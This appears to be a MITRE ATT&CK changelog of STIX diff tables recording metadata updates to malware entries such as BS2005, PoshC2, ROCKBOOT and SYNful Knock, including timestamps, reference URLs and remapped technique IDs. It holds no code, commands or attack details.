| description | [BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014) | [BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014) |
| external_references[1]['source_name'] | Villeneuve et al 2014 | Mandiant Operation Ke3chang November 2014 |
| external_references[1]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf | https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-02-09 14:56:14.671000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:46:57.986000+00:00 | 2021-04-01 16:03:31.574000+00:00 |
| external_references[5]['url'] | https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ | https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/ |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-17 23:40:44.651000+00:00 | 2021-02-09 14:51:14.620000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:07:19.052000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-14 15:14:33.332000+00:00 | 2021-04-27 19:53:40.705000+00:00 |
Current version: 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 15:23:35.947000+00:00 | 2020-11-24 20:15:54.954000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:41:41.805000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:45:38.272000+00:00 | 2021-02-09 13:58:23.806000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:56:22.295000+00:00 | 2021-02-09 14:57:16.085000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 20:55:47.638000+00:00 | 2021-02-09 14:04:15.433000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:57:00.081000+00:00 | 2021-01-06 19:32:28.394000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:57:31.004000+00:00 | 2020-12-22 15:46:17.965000+00:00 |
| external_references[1]['source_name'] | Linux Rabbit | anomali-linux-rabbit |
| external_references[1]['description'] | (Citation: Anomali Linux Rabbit 2018) | Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020. |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:16:03.001000+00:00 | 2022-01-19 21:19:03.367000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:16:26.920000+00:00 | 2022-01-19 21:19:03.598000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-01-06 19:32:28.371000+00:00 |
| external_references[3]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-01-06 19:32:28.182000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:11:08.175000+00:00 | 2021-04-21 16:41:34.225000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-18 15:21:51.702000+00:00 | 2022-04-15 16:27:20.897000+00:00 |
| external_references[1]['description'] | DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. | DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 22:31:02.691000+00:00 | 2021-02-09 14:07:10.907000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:20:41.436000+00:00 | 2021-01-06 19:32:28.265000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoshC2](https://attack.mitre.org/software/S0378) is an open | t | 1 | [PoshC2](https://attack.mitre.org/software/S0378) is an open |
| > | source remote administration and post-exploitation framewor | > | source remote administration and post-exploitation framewor | ||
| > | k that is publicly available on GitHub. The server-side comp | > | k that is publicly available on GitHub. The server-side comp | ||
| > | onents of the tool are primarily written in Python, while th | > | onents of the tool are primarily written in Python, while th | ||
| > | e implants are written in [PowerShell](https://attack.mitre. | > | e implants are written in [PowerShell](https://attack.mitre. | ||
| > | org/techniques/T1086). Although [PoshC2](https://attack.mitr | > | org/techniques/T1059/001). Although [PoshC2](https://attack. | ||
| > | e.org/software/S0378) is primarily focused on Windows implan | > | mitre.org/software/S0378) is primarily focused on Windows im | ||
| > | tation, it does contain a basic Python dropper for Linux/mac | > | plantation, it does contain a basic Python dropper for Linux | ||
| > | OS.(Citation: GitHub PoshC2) | > | /macOS.(Citation: GitHub PoshC2) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:37:23.626000+00:00 | 2021-02-09 13:59:23.129000+00:00 |
| description | [PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2) | [PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PowerStallion](https://attack.mitre.org/software/S0393) is | t | 1 | [PowerStallion](https://attack.mitre.org/software/S0393) is |
| > | a lightweight [PowerShell](https://attack.mitre.org/techniqu | > | a lightweight [PowerShell](https://attack.mitre.org/techniqu | ||
| > | es/T1086) backdoor used by [Turla](https://attack.mitre.org/ | > | es/T1059/001) backdoor used by [Turla](https://attack.mitre. | ||
| > | groups/G0010), possibly as a recovery access tool to install | > | org/groups/G0010), possibly as a recovery access tool to ins | ||
| > | other backdoors.(Citation: ESET Turla PowerShell May 2019) | > | tall other backdoors.(Citation: ESET Turla PowerShell May 20 | ||
| > | 19) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:22:45.321000+00:00 | 2021-02-09 14:05:19.246000+00:00 |
| description | [PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019) | [PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bo | t | 1 | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bo |
| > | otkit](https://attack.mitre.org/techniques/T1067) that has b | > | otkit](https://attack.mitre.org/techniques/T1542/003) that h | ||
| > | een used by an unidentified, suspected China-based group. (C | > | as been used by an unidentified, suspected China-based group | ||
| > | itation: FireEye Bootkits) | > | . (Citation: FireEye Bootkits) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:39:16.351000+00:00 | 2021-02-09 15:16:26.188000+00:00 |
| description | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits) | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Reaver](https://attack.mitre.org/software/S0172) is a malwa | t | 1 | [Reaver](https://attack.mitre.org/software/S0172) is a malwa |
| > | re family that has been in the wild since at least late 2016 | > | re family that has been in the wild since at least late 2016 | ||
| > | . Reporting indicates victims have primarily been associated | > | . Reporting indicates victims have primarily been associated | ||
| > | with the "Five Poisons," which are movements the Chinese go | > | with the "Five Poisons," which are movements the Chinese go | ||
| > | vernment considers dangerous. The type of malware is rare du | > | vernment considers dangerous. The type of malware is rare du | ||
| > | e to its final payload being in the form of [Control Panel I | > | e to its final payload being in the form of [Control Panel]( | ||
| > | tems](https://attack.mitre.org/techniques/T1196). (Citation: | > | https://attack.mitre.org/techniques/T1218/002) items.(Citati | ||
| > | Palo Alto Reaver Nov 2017) | > | on: Palo Alto Reaver Nov 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:41:10.175000+00:00 | 2021-02-09 15:02:42.727000+00:00 |
| description | [Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017) | [Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017) |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-08-23 20:25:18.606000+00:00 |
| external_references[2]['url'] | http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:28:45.114000+00:00 | 2022-01-19 21:15:21.430000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SYNful Knock](https://attack.mitre.org/software/S0519) is a | t | 1 | [SYNful Knock](https://attack.mitre.org/software/S0519) is a |
| > | stealthy modification of the operating system of network de | > | stealthy modification of the operating system of network de | ||
| > | vices that can be used to maintain persistence within a vict | > | vices that can be used to maintain persistence within a vict | ||
| > | im's network and provide new capabilities to the adversary.( | > | im's network and provide new capabilities to the adversary.( | ||
| > | Citation: FireEye - Synful Knock)(Citation: Cisco Synful Kno | > | Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Kn | ||
| > | ck Evolution) | > | ock Evolution) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:35:04.950000+00:00 | 2021-12-14 23:14:26.027000+00:00 |
| description | [SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: FireEye - Synful Knock)(Citation: Cisco Synful Knock Evolution) | [SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution) |
| external_references[1]['source_name'] | FireEye - Synful Knock | Mandiant - Synful Knock |
| external_references[1]['url'] | https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html | https://www.mandiant.com/resources/synful-knock-acis |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:14:02.011000+00:00 | 2021-04-26 17:40:17.009000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-15 14:24:52.969000+00:00 | 2021-02-09 13:42:15.121000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-07 14:05:07.519000+00:00 | 2022-04-15 11:32:25.171000+00:00 |
| external_references[1]['source_name'] | JPCert TSCookie March 2018 | JPCert PLEAD Downloader June 2018 |
| external_references[1]['description'] | Tomonaga, S.. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. | Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. |
| external_references[2]['source_name'] | JPCert BlackTech Malware September 2019 | JPCert TSCookie March 2018 |
| external_references[2]['description'] | Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020. | Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. |
| external_references[2]['url'] | https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html |
| external_references[3]['source_name'] | JPCert PLEAD Downloader June 2018 | JPCert BlackTech Malware September 2019 |
| external_references[3]['description'] | Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. | Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020. |
| external_references[3]['url'] | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html | https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:20:01.325000+00:00 | 2021-02-09 15:25:33.116000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:21:44.275000+00:00 | 2021-04-21 16:41:34.655000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:26:35.490000+00:00 | 2021-01-06 19:32:28.278000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:59:51.283000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 19:41:25.983000+00:00 | 2021-03-22 18:45:19.504000+00:00 |
| x_mitre_contributors[0] | Daniyal Naeem, @Mrdaniyalnaeem | Daniyal Naeem, BT Security |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:27:31.495000+00:00 | 2021-01-06 19:32:28.378000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 13:33:42.533000+00:00 | 2022-04-20 22:03:11.833000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:44:21.378000+00:00 | 2022-01-19 21:19:03.738000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:55:49.493000+00:00 | 2021-01-25 15:43:45.842000+00:00 |
| external_references[13]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
